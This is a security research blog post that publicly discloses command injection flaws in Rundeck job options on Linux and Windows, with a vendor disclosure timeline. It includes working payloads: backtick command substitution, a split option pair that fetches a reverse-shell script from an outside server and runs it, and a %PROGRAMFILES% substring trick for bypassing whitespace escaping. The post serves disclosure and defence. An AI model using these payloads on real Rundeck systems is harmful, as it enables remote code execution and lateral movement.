Breaking

Full Disclosure: Multiple Rundeck Job Command Injections

During a red-teaming-style customer project, we managed to get access to an Rundeck API token. Rundeck is a job scheduler and runbook automation platform designed to automate routine IT tasks across multiple systems. At first, we were excited about this API token because if we could create new Rundeck jobs, we could execute arbitrary code on the Rundeck nodes and move laterally from there. However, it turned out that with this token we only had permissions to run existing jobs.

This blog post will look at multiple command injections we found in Rundeck. First, we will examine jobs running on Rundeck Linux servers — both those with a single parameter and those with multiple parameters. Afterward, we will do the same for Rundeck Windows servers.

Back to the project. After finding the token, we started looking for jobs we could execute. We found a job that looked similar to this.

$ curl -H "X-Rundeck-Auth-Token: $(cat .rundeck_token)" http://rundeck-target:4440/api/18/job/8f5e27bf-ec1d-4ef7-a82d-1fd6201c677a
[ {
  [..]
  "name" : "Test-Job-Command",
  "nodeFilterEditable" : false,
  "options" : [ {
    "name" : "option1"
  } ],
  [..]
  "sequence" : {
    "commands" : [ {
      "exec" : "echo ${option.option1}"
    } ],
    "keepgoing" : false,
    "strategy" : "node-first"
  },
  "uuid" : "8f5e27bf-ec1d-4ef7-a82d-1fd6201c677a"
} ]

This job uses job options, has a parameter called option1, and executes the command echo ${option.option1}. According to the documentation, the content of these options should get escaped before the command gets executed. Nevertheless, we tried injecting commands and ran the job multiple times with parameters like option1=1; whoami, option1=1 & whoami, and option1=$(whoami). Unfortunately, everything seemed to get escaped correctly. But then finally, when we tried option1=`whoami`, the whoami command got executed. Backticks didn’t seem to get escaped. Great!

Next, we tried to execute an actual payload and download a reverse shell from the node. So we started another job with option1=`wget ernw-controlled-server.de/reverse-shell.sh`. But this time, the command was escaped. After some trial and error, we realized that white spaces caused the option parameter to be escaped. We tried multiple bypasses like option1=`IFS=_;command='ls_-l';$command`, but nothing worked.

It was time to look at the source code. As assumed, we found that options that contain white spaces get quoted before being passed on to the command. We also discovered which characters get escaped, which explained why our bypass attempts were not successful:

public static final String UNIX_SHELL_CHARS = "\"';{}()&$\\|*?><";

Unfortunately, we were not able to find a way to bypass the quoting of parameters containing whitespace. So we went one step back and had a second look at the available jobs we were able to execute. Lo and behold, we found a job similar to the following job:

$ curl -H "X-Rundeck-Auth-Token: $(cat .rundeck_token)" http://rundeck-target:4440/api/18/job/480e6c39-5a30-47cc-8bb5-eb69d0592042
[ {
  [..]
  "name" : "Test-Job-Command-Two-Params",
  "nodeFilterEditable" : false,
  "options" : [ {
    "name" : "option1"
  }, {
    "name" : "option2"
  } ],
  [..]
  "sequence" : {
    "commands" : [ {
      "exec" : "cp ${option.option1} ${option.option2}"
    } ],
    "keepgoing" : false,
    "strategy" : "node-first"
  },
  "uuid" : "480e6c39-5a30-47cc-8bb5-eb69d0592042"
} ]

This job passes two options to the command that gets executed. And there are white spaces between these parameters! So we split the payload into two parts: option1=`wget and ernw-controlled-server.de/reverse-shell.sh`. And it worked! Finally, we executed the script by splitting a second payload: option1=`bash and option2=./script.sh` and were successful! We had compromised the Rundeck node on which this job was executed. And it was a real jackpot: the Rundeck user, which we took over, was allowed to run commands with root privileges on basically any system in the network because some Rundeck jobs were used to distribute updates to the systems.

Further Research

Upon further research after the project, we realized the following two things.

First, Rundeck jobs that run bash scripts (instead of commands) are also affected. If job options are inserted into scripts using the syntax @option.option1@, as suggested in the documentation, they should get quoted before getting inserted into the script. However, it was possible to inject arbitrary commands, for example, by using command substitution with $(command) or `command`. In this case, injecting commands containing white spaces without any bypass was also possible.

Second, while looking at the source code, another thing grabbed our attention.

public static Converter<String, String> characterEscapeForOperatingSystem(String type) {
        Converter<String, String> defaultConverter = UNIX_SHELL_ESCAPE;
        if ("unix".equalsIgnoreCase(type)) {
            return UNIX_SHELL_ESCAPE;
            //TODO: windows
        } else {
            return defaultConverter;
        }
    }

There is no specific escaping for Windows servers: //TODO: windows. So we also set up a Rundeck server on Windows and tried to inject commands.

For jobs using a batch script and inserting options with the @option.option1@ syntax, we could inject commands without any restrictions, just as on Linux.

All shell special characters could be used for jobs that run commands and insert options with the ${option.option1} syntax. Still, we encountered the same problem as on Linux: parameters containing white spaces got escaped. After some research, we found this cool bypass on the internet: %PROGRAMFILES:~10,-5%. This uses the PROGRAMFILES environmental variable which resolves to C:\Program Files and transforms it to only the white spaces between Program and Files via substring expansion. This way, we could inject arbitrary commands into jobs using only one parameter.

Affected Versions

We identified this vulnerability in Rundeck 5.8.0. We used the Docker image rundeck/rundeck:5.8.0 to verify and research the vulnerabilities on Linux. On Windows, the release rundeck-5.8.0-20241205.war has been used.

Before we published this blog post, we verified that the vulnerability is still present in version 5.11.1.

Disclosure Timeline

  • February 04, 2025: Initial contact attempt by ERNW via Mail stating it cannot accept the terms and conditions of HackerOne .
  • February 10, 2025: Contact attempt by ERNW.
  • February 11, 2025: Contact attempt by ERNW.
  • February 11, 2025: PagerDuty Security Team states only reports via HackerOne are accepted.
  • February 12, 2025: ERNW states it cannot accept the terms and conditions.
  • February 14, 2025: Contact attempt by ERNW.
  • February 26, 2025: Contact attempt by ERNW.
  • March 04, 2025: Contact attempt by ERNW.
  • March 27, 2025: Contact attempt by ERNW.
  • May 05, 2025: Contact attempt by ERNW stating that the disclosure timeline is exceeded. Public Disclosure by ERNW.

Considerations on HackerOne’s & PagerDuty’s Disclosure Program Guidelines

Before publishing this research, we made multiple attempts to disclose the identified vulnerabilities responsibly. This included direct outreach to the vendor via various channels, including email. While we initially received a single reply directing us to the official vulnerability disclosure program, all subsequent follow-ups went unanswered.

Unfortunately, after carefully reviewing the vendor’s disclosure program terms, we determined that participation was not possible under the given conditions. Specifically, the program imposes strict restrictions on public communication — even post-remediation — unless the vendor grants explicit consent. Additionally, while a nominal 30-day disclosure timeline is stated, the vendor can unilaterally and indefinitely extend this period with no guaranteed resolution pathway.

Moreover, the program’s legal framework provides limited Safe Harbor protections. These are conditional on perfect compliance with all stated rules, leaving researchers potentially exposed in cases involving ambiguous scope boundaries or good-faith testing errors.

Given the combination of these terms, we could not proceed through the official channel in good conscience. Therefore, this publication results from an independent and responsible decision to prioritize transparency, public interest, and the broader security community.

Cheers!

Flo & Julian

Leave a Reply

Your email address will not be published. Required fields are marked *